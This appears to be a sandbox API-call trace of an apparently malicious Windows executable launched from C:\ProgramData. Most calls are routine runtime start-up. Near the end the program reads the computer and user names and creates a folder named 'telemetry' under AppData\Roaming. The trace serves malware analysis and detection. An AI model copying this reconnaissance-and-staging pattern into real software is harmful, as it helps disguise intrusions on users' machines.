[0077.626] GetStartupInfoW (in: lpStartupInfo=0xeff808 | out: lpStartupInfo=0xeff808*(cb=0x44, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\ProgramData\\35705580001859887656.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x401, wShowWindow=0x5, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x10001, hStdError=0x0))
[0077.626] GetStdHandle (nStdHandle=0xfffffff6) returned 0x0
[0077.626] GetStdHandle (nStdHandle=0xfffffff5) returned 0x0
[0077.627] GetStdHandle (nStdHandle=0xfffffff4) returned 0x0
[0077.627] GetCommandLineA () returned="\"C:\\ProgramData\\35705580001859887656.exe\" "
[0077.627] GetCommandLineW () returned="\"C:\\ProgramData\\35705580001859887656.exe\" "
[0077.627] GetACP () returned 0x4e4
[0077.627] RtlAllocateHeap (HeapHandle=0xfe0000, Flags=0x0, Size=0x220) returned 0xff7ed8
[0077.627] IsValidCodePage (CodePage=0x4e4) returned 1
[0077.627] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0xeff600 | out: lpCPInfo=0xeff600) returned 1
[0077.627] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0xefeec4 | out: lpCPInfo=0xefeec4) returned 1
[0077.627] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0xeff4d8, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256
[0077.627] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0xeff4d8, cbMultiByte=256, lpWideCharStr=0xefec58, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ") returned 256
[0077.627] GetStringTypeW (in: dwInfoType=0x1, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpCharType=0xefeed8 | out: lpCharType=0xefeed8) returned 1
[0077.627] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0xeff4d8, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256
[0077.627] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0xeff4d8, cbMultiByte=256, lpWideCharStr=0xefec18, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ") returned 256
[0077.627] LoadLibraryExW (lpLibFileName="api-ms-win-core-localization-l1-2-1", hFile=0x0, dwFlags=0x800) returned 0x76920000
[0077.627] GetProcAddress (hModule=0x76920000, lpProcName="LCMapStringEx") returned 0x769c95f0
[0077.627] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x100, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpDestStr=0x0, cchDest=0, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=0x0) returned 256
[0077.627] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x100, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpDestStr=0xefea08, cchDest=256, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰š‹œ\x8dž\x8f\x90‘’“”•–—˜™š›œ\x9džÿ ¡¢£¤¥¦§¨©ª«¬®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿȈ") returned 256
[0077.627] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰š‹œ\x8dž\x8f\x90‘’“”•–—˜™š›œ\x9džÿ ¡¢£¤¥¦§¨©ª«¬®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿȈ", cchWideChar=256, lpMultiByteStr=0xeff3d8, cbMultiByte=256, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84
\x86\x87\x88\x89\x9a\x8b\x9c\x8d\x9e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9eÿ ¡¢£¤¥¦§¨©ª«¬®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84
\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f ¡¢£¤¥¦§¨©ª«¬®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿXÒ\x95Ç\x18öï", lpUsedDefaultChar=0x0) returned 256
[0077.628] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0xeff4d8, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256
[0077.628] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0xeff4d8, cbMultiByte=256, lpWideCharStr=0xefec28, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ") returned 256
[0077.628] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x200, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpDestStr=0x0, cchDest=0, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=0x0) returned 256
[0077.628] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x200, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpDestStr=0xefea18, cchDest=256, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f€\x81‚Ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™Š›Œ\x9dŽŸ ¡¢£¤¥¦§¨©ª«¬®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞŸȈ") returned 256
[0077.628] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f€\x81‚Ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™Š›Œ\x9dŽŸ ¡¢£¤¥¦§¨©ª«¬®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞŸȈ", cchWideChar=256, lpMultiByteStr=0xeff2d8, cbMultiByte=256, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f\x80\x81\x82\x83\x84
\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x8a\x9b\x8c\x9d\x8e\x9f ¡¢£¤¥¦§¨©ª«¬®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞ\x9f \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84
\x86\x87\x88\x89\x9a\x8b\x9c\x8d\x9e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9eÿ ¡¢£¤¥¦§¨©ª«¬®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84
\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f ¡¢£¤¥¦§¨©ª«¬®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿXÒ\x95Ç\x18öï", lpUsedDefaultChar=0x0) returned 256
[0077.628] RtlAllocateHeap (HeapHandle=0xfe0000, Flags=0x0, Size=0x80) returned 0xff0000
[0077.628] GetModuleFileNameW (in: hModule=0x0, lpFilename=0xeff650, nSize=0x105 | out: lpFilename="C:\\ProgramData\\35705580001859887656.exe" (normalized: "c:\\programdata\\35705580001859887656.exe")) returned 0x27
[0077.628] LoadLibraryExW (lpLibFileName="kernel32", hFile=0x0, dwFlags=0x800) returned 0x76840000
[0077.628] GetProcAddress (hModule=0x76840000, lpProcName="AreFileApisANSI") returned 0x7685f300
[0077.628] AreFileApisANSI () returned 1
[0077.628] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\ProgramData\\35705580001859887656.exe", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 40
[0077.628] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\ProgramData\\35705580001859887656.exe", cchWideChar=-1, lpMultiByteStr=0xcb928, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\ProgramData\\35705580001859887656.exe", lpUsedDefaultChar=0x0) returned 40
[0077.628] RtlAllocateHeap (HeapHandle=0xfe0000, Flags=0x8, Size=0x30) returned 0xfef9a8
[0077.628] RtlInitializeSListHead (in: ListHead=0xcb3d0 | out: ListHead=0xcb3d0)
[0077.629] GetLastError () returned 0x0
[0077.629] SetLastError (dwErrCode=0x0)
[0077.629] GetEnvironmentStringsW () returned 0xffc548*
[0077.629] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ALLUSERSPROFILE=C:\\ProgramData", cchWideChar=1440, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1440
[0077.629] RtlAllocateHeap (HeapHandle=0xfe0000, Flags=0x0, Size=0x5a0) returned 0xff9c48
[0077.697] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ALLUSERSPROFILE=C:\\ProgramData", cchWideChar=1440, lpMultiByteStr=0xff9c48, cbMultiByte=1440, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ALLUSERSPROFILE=C:\\ProgramData", lpUsedDefaultChar=0x0) returned 1440
[0077.697] FreeEnvironmentStringsW (penv=0xffc548) returned 1
[0077.697] RtlAllocateHeap (HeapHandle=0xfe0000, Flags=0x8, Size=0x98) returned 0xff2238
[0077.697] RtlAllocateHeap (HeapHandle=0xfe0000, Flags=0x8, Size=0x1f) returned 0xfeabf8
[0077.697] RtlAllocateHeap (HeapHandle=0xfe0000, Flags=0x8, Size=0x2e) returned 0xfefb30
[0077.697] RtlAllocateHeap (HeapHandle=0xfe0000, Flags=0x8, Size=0x37) returned 0xff5668
[0077.697] RtlAllocateHeap (HeapHandle=0xfe0000, Flags=0x8, Size=0x3c) returned 0xff2528
[0077.697] RtlAllocateHeap (HeapHandle=0xfe0000, Flags=0x8, Size=0x31) returned 0xff54e8
[0077.697] RtlAllocateHeap (HeapHandle=0xfe0000, Flags=0x8, Size=0x14) returned 0xfea418
[0077.697] RtlAllocateHeap (HeapHandle=0xfe0000, Flags=0x8, Size=0x24) returned 0xff1de8
[0077.697] RtlAllocateHeap (HeapHandle=0xfe0000, Flags=0x8, Size=0x31) returned 0xff5528
[0077.697] RtlAllocateHeap (HeapHandle=0xfe0000, Flags=0x8, Size=0x28) returned 0xfef188
[0077.697] RtlAllocateHeap (HeapHandle=0xfe0000, Flags=0x8, Size=0xd) returned 0xffa838
[0077.697] RtlAllocateHeap (HeapHandle=0xfe0000, Flags=0x8, Size=0x1d) returned 0xfeacc0
[0077.697] RtlAllocateHeap (HeapHandle=0xfe0000, Flags=0x8, Size=0x31) returned 0xff5728
[0077.697] RtlAllocateHeap (HeapHandle=0xfe0000, Flags=0x8, Size=0x15) returned 0xffc838
[0077.697] RtlAllocateHeap (HeapHandle=0xfe0000, Flags=0x8, Size=0x17) returned 0xffc918
[0077.697] RtlAllocateHeap (HeapHandle=0xfe0000, Flags=0x8, Size=0xe) returned 0xffa820
[0077.697] RtlAllocateHeap (HeapHandle=0xfe0000, Flags=0x8, Size=0xa2) returned 0xff2e98
[0077.697] RtlAllocateHeap (HeapHandle=0xfe0000, Flags=0x8, Size=0x3e) returned 0xff2960
[0077.697] RtlAllocateHeap (HeapHandle=0xfe0000, Flags=0x8, Size=0x1b) returned 0xfeaba8
[0077.697] RtlAllocateHeap (HeapHandle=0xfe0000, Flags=0x8, Size=0x1d) returned 0xfead60
[0077.697] RtlAllocateHeap (HeapHandle=0xfe0000, Flags=0x8, Size=0x49) returned 0xfef818
[0077.697] RtlAllocateHeap (HeapHandle=0xfe0000, Flags=0x8, Size=0x12) returned 0xffc858
[0077.697] RtlAllocateHeap (HeapHandle=0xfe0000, Flags=0x8, Size=0x18) returned 0xffc878
[0077.697] RtlAllocateHeap (HeapHandle=0xfe0000, Flags=0x8, Size=0x1b) returned 0xfead88
[0077.697] RtlAllocateHeap (HeapHandle=0xfe0000, Flags=0x8, Size=0x24) returned 0xfef1b8
[0077.697] RtlAllocateHeap (HeapHandle=0xfe0000, Flags=0x8, Size=0x29) returned 0xfef9e0
[0077.697] RtlAllocateHeap (HeapHandle=0xfe0000, Flags=0x8, Size=0x1e) returned 0xfeadb0
[0077.697] RtlAllocateHeap (HeapHandle=0xfe0000, Flags=0x8, Size=0x6b) returned 0xff03a0
[0077.697] RtlAllocateHeap (HeapHandle=0xfe0000, Flags=0x8, Size=0x17) returned 0xffc578
[0077.697] RtlAllocateHeap (HeapHandle=0xfe0000, Flags=0x8, Size=0xf) returned 0xffa9b8
[0077.698] RtlAllocateHeap (HeapHandle=0xfe0000, Flags=0x8, Size=0x16) returned 0xffc5f8
[0077.698] RtlAllocateHeap (HeapHandle=0xfe0000, Flags=0x8, Size=0x2a) returned 0xfefba0
[0077.698] RtlAllocateHeap (HeapHandle=0xfe0000, Flags=0x8, Size=0x29) returned 0xffd288
[0077.698] RtlAllocateHeap (HeapHandle=0xfe0000, Flags=0x8, Size=0x12) returned 0xffc738
[0077.698] RtlAllocateHeap (HeapHandle=0xfe0000, Flags=0x8, Size=0x21) returned 0xffa428
[0077.698] RtlAllocateHeap (HeapHandle=0xfe0000, Flags=0x8, Size=0x16) returned 0xffc8f8
[0077.698] RtlAllocateHeap (HeapHandle=0xfe0000, Flags=0x8, Size=0x22) returned 0xffa2d8
[0077.698] RtlAllocateHeap (HeapHandle=0xfe0000, Flags=0x8, Size=0x12) returned 0xffc898
[0077.698] HeapFree (in: hHeap=0xfe0000, dwFlags=0x0, lpMem=0xff9c48 | out: hHeap=0xfe0000) returned 1
[0077.698] RtlAllocateHeap (HeapHandle=0xfe0000, Flags=0x8, Size=0x800) returned 0xffd558
[0077.698] IsProcessorFeaturePresent (ProcessorFeature=0xa) returned 1
[0077.698] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0xa0fb8) returned 0x0
[0077.699] RtlAllocateHeap (HeapHandle=0xfe0000, Flags=0x0, Size=0x50) returned 0xfeef58
[0077.699] RtlAllocateHeap (HeapHandle=0xfe0000, Flags=0x0, Size=0x20) returned 0xfeadd8
[0077.699] RtlAllocateHeap (HeapHandle=0xfe0000, Flags=0x0, Size=0x120) returned 0xfe6c58
[0077.699] RtlAllocateHeap (HeapHandle=0xfe0000, Flags=0x0, Size=0x20) returned 0xfeae00
[0077.700] HeapFree (in: hHeap=0xfe0000, dwFlags=0x0, lpMem=0xfeadd8 | out: hHeap=0xfe0000) returned 1
[0077.700] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0xeff590 | out: pszPath="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming") returned 0x0
[0077.702] GetCurrentProcess () returned 0xffffffff
[0077.703] GetCurrentProcess () returned 0xffffffff
[0077.706] GetCurrentProcess () returned 0xffffffff
[0077.707] GetCurrentProcess () returned 0xffffffff
[0077.714] GetCurrentProcess () returned 0xffffffff
[0077.715] GetCurrentProcess () returned 0xffffffff
[0077.715] RtlAllocateHeap (HeapHandle=0xfe0000, Flags=0x0, Size=0x30) returned 0xffd2f8
[0077.715] RtlAllocateHeap (HeapHandle=0xfe0000, Flags=0x0, Size=0x30) returned 0xffcf08
[0077.715] RtlAllocateHeap (HeapHandle=0xfe0000, Flags=0x0, Size=0x40) returned 0xff25b8
[0077.715] GetModuleFileNameA (in: hModule=0x0, lpFilename=0xeff48c, nSize=0x104 | out: lpFilename="C:\\ProgramData\\35705580001859887656.exe" (normalized: "c:\\programdata\\35705580001859887656.exe")) returned 0x27
[0077.715] RtlAllocateHeap (HeapHandle=0xfe0000, Flags=0x0, Size=0x30) returned 0xffd1a8
[0077.715] GetComputerNameA (in: lpBuffer=0xeff694, nSize=0xeff488 | out: lpBuffer="XC64ZB", nSize=0xeff488) returned 1
[0077.716] GetUserNameA (in: lpBuffer=0xeff794, pcbBuffer=0xeff488 | out: lpBuffer="\x0f", pcbBuffer=0xeff488) returned 0
[0077.716] GetCurrentProcess () returned 0xffffffff
[0077.717] GetCurrentProcess () returned 0xffffffff
[0077.723] CreateDirectoryA (lpPathName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\telemetry" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\roaming\\telemetry"), lpSecurityAttributes=0x0) returned 1
[0077.726] RtlAllocateHeap (HeapHandle=0xfe0000, Flags=0x0, Size=0x8) returned 0xff2fd8
[0077.726] LoadLibraryExW (lpLibFileName="api-ms-win-core-string-l1-1-0", hFile=0x0, dwFlags=0x800) returned 0x76920000
[0077.726] GetProcAddress (hModule=0x76920000, lpProcName="CompareStringEx") returned 0x769d6140
[0077.726] GetProcAddress (hModule=0x76920000, lpProcName="EnumSystemLocalesEx") returned 0x769e79d0
[0077.727] LoadLibraryExW (lpLibFileName="api-ms-win-core-datetime-l1-1-1", hFile=0x0, dwFlags=0x800) returned 0x76920000
[0077.727] GetProcAddress (hModule=0x76920000, lpProcName="GetDateFormatEx") returned 0x76a334d0
[0077.727] GetProcAddress (hModule=0x76920000, lpProcName="GetLocaleInfoEx") returned 0x769c6610
[0077.727] GetProcAddress (hModule=0x76920000, lpProcName="GetTimeFormatEx") returned 0x76a337a0
[0077.727] GetProcAddress (hModule=0x76920000, lpProcName="GetUserDefaultLocaleName") returned 0x769bcd10
[0077.727] GetProcAddress (hModule=0x76920000, lpProcName="IsValidLocaleName") returned 0x769e4bf0
[0077.727] LoadLibraryExW (lpLibFileName="api-ms-win-core-localization-obsolete-l1-2-0", hFile=0x0, dwFlags=0x800) returned 0x76920000
[0077.727] GetProcAddress (hModule=0x76920000, lpProcName="LCIDToLocaleName") returned 0x769d6fc0
[0077.727] GetProcAddress (hModule=0x76920000, lpProcName="LocaleNameToLCID") returned 0x769d7de0
[0077.727] RtlAllocateHeap (HeapHandle=0xfe0000, Flags=0x0, Size=0x20) returned 0xffe2e0
